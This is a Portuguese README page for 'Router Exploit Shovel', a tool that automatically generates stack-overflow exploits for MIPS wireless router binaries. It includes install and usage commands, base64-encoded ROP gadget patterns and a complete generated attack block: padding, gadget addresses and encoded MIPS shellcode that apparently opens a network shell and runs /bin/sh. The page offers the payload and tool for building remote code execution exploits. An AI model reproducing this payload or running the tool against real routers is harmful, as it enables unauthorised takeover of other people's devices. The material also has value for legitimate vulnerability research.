Router Exploit Shovel

Geração Automatizada de Exploits para Tipos de Estouro de Pilha em Roteadores Sem Fio

O Router Exploit Shovel é uma ferramenta automatizada de geração de exploits para tipos de estouro de pilha em roteadores sem fio. A ferramenta implementa as funções-chave dos exploits, podendo adaptar-se ao comprimento do preenchimento de dados na pilha, gerar a cadeia ROP, gerar o shellcode codificado e, por fim, montá-los em um código de ataque completo. O usuário só precisa anexar o código de ataque ao local de estouro do POC para completar o Exploit de execução remota de código.

A ferramenta suporta MIPSel e MIPSeb. Executa no Ubuntu 16.04 64bit.

Instalação

Certifique-se de ter git, python3 e setuptools instalados. Baixe o código-fonte do nosso Github:

$ git clone https://github.com/arthastang/Router-Exploit-Shovel.git

Configure o ambiente e instale as dependências:

$ cd Router-Exploit-Shovel/
$ python3 setup.py install

Uso

$ python3 Router_Exploit_Shovel.py -h
Usage: Router_Exploit_Shovel.py [options]

Options:
  -h, --help            show this help message and exit
  -b BINARYFILEPATH, --binaryFile=BINARYFILEPATH
                        input binary file path
  --ba=BINARYBASEADDR, --binaryBaseAddr=BINARYBASEADDR
                        input binary base address,default=0x00400000
  -l LIBRARYFILEPATH, --libraryFile=LIBRARYFILEPATH
                        input libc file path
  --la=LIBRARYBASEADDR, --libraryBaseAddr=LIBRARYBASEADDR
                        input library base address,default=0x2aae2000
  -o OVERFLOWFUNCTIONPOINTOFFSET, --overflowPoint=OVERFLOWFUNCTIONPOINTOFFSET
                        input overflow function point offset
  --arch=ARCH           input architecture of elf files,[little] or
                        [big],default=big

Por exemplo:

$ python3 Router_Exploit_Shovel.py -b test_binaries/mipseb-httpd -l test_binaries/libuClibc-0.9.30.so -o 0x00478584

Capturas de tela

Estrutura do código

--Router_Exploit_Shovel.py       #Script de inicialização
--databases/                     
  |---ROP_patterns/              #Arquivo YAML dos padrões de ROP        
  |---shellcodes/                #Arquivo YAML dos shellcodes
--example/                       #Vulnerabilidades Nday, relatório completo e código do exploit
--results/                       
  |---ROP_gadgets/               #Resultados da geração de gadgets ROP       
  |---attackBlock.txt            #Resultados da geração de blocos de ataque
--ropper/                        #Módulo ropper modificado para obter todos os gadgets
--filebytes/                     #Módulo filebytes para carregar ELFs
--router_exp_shovel/             #Módulo principal         
  |---offset_calculator/         #Calcula o tamanho do preenchimento
  |---ROP_maker/                 #Cria cadeias ROP
  |---shellcode_maker/           #Cria shellcodes
--qemuTestEnvironment/           #Ambiente de execução MIPS para exploração de roteadores

Geração da cadeia ROP

Esta ferramenta utiliza padrões para gerar cadeias ROP. Extrai padrões do procedimento comum de exploração ROP. Usa correspondência regex para encontrar gadgets disponíveis para preencher as strings da cadeia. A codificação Base64 serve para evitar escapes de caracteres duplicados. Por exemplo:

chainString: (gadget2)(gadget1)BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB(sleep)CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC(call_code)DDDD(stack_gadget)\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44
gadget1: KC4qKW1vdmUgXCR0OVwsIFwkczE7IGx3IFwkcmFcLCAweDI0XChcJHNwXCk7IGx3IFwkczFcLCAweDIwXChcJHNwXCk7IGx3IFwkczBcLCAweDFjXChcJHNwXCk7KC4qKTsganIgXCR0OTsgYWRkaXUgXCRzcFwsIFwkc3BcLCAweDI4Ow==
#gadget1: (.*)move \\$t9\\, \\$s1; lw \\$ra\\, 0x24\\(\\$sp\\); lw \\$s1\\, 0x20\\(\\$sp\\); lw \\$s0\\, 0x1c\\(\\$sp\\);(.*); jr \\$t9; addiu \\$sp\\, \\$sp\\, 0x28; 
gadget2: KC4qKWFkZGl1IFwkYTBcLCBcJHplcm9cLCAxOyBtb3ZlIFwkdDlcLCBcJHMxOyBqYWxyIFwkdDk7
#gadget2: (.*)addiu \\$a0\\, \\$zero\\, 1; move \\$t9\\, \\$s1; jalr \\$t9;
call_code: KC4qKW1vdmUgXCR0OVwsIFwkczI7IGphbHIgXCR0OTs=
#call_code: (.*)move \\$t9\\, \\$s2; jalr \\$t9;
stack_gadget: KC4qKWFkZGl1IFwkczJcLCBcJHNwXCwgMHgxODsoLiopbW92ZSBcJHQ5XCwgXCRzMDsgamFsciBcJHQ5Ow==
#stack_gadget: (.*)addiu \\$s2\\, \\$sp\\, 0x18;(.*)move \\$t9\\, \\$s0; jalr \\$t9;

Blocos de ataque

Você pode obter blocos de ataque gerados em results/attackBlocks.txt. Como por exemplo:

attackBlock = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2a\xb3\x7c\x60\x2a\xb2\xbd\xfcBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x2a\xb3\x5c\xa0CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x2a\xb0\x09\x38DDDD\x2a\xaf\x76\x68\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99\x27\xb2\x05\x4b\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1\x02\x2a\x18\x26\xae\x43\xff\xc1\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\x7a\x69\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"

Dependências

Ropper:Uma ferramenta incrível para extrair informações binárias e gerar cadeias ROP. https://github.com/sashs/Ropper
filebytes:Biblioteca para ler e editar arquivos em ELF, PE, MachO e OAT. https://scoding.de/filebytes-introduction
yaml:YAML Ain't Markup Language. https://yaml.org/
optparse:Analisador de opções de linha de comando. https://docs.python.org/3/library/optparse.html
Capstone:Framework de desmontagem. http://www.capstone-engine.org/
re:Módulo de expressões regulares.

Router-Exploit-Shovel

Mais Populares